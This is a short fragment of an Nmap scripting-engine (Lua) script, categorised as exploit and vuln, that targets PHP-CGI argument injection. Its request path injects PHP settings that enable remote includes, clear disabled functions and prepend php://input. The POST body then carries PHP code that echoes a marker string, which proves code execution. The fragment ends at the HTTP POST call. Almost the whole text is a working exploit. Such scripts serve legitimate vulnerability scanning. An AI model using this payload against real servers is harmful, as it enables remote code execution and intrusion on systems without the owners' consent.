license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories={"exploit","vuln"}
-- The Rule Section --
portrule = shortport.http
-- The Action Section --
local path ="/?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi%2Eforce_redirect%3D0+-d+cgi%2Eredirect_status_env%3D0+-n"
local payload = "<?php echo " .. ""m00zh33"" .. ";die();?>"
local status
local function exploit(host, port)
local ret = http.post(host,port,path,nil,nil,payload)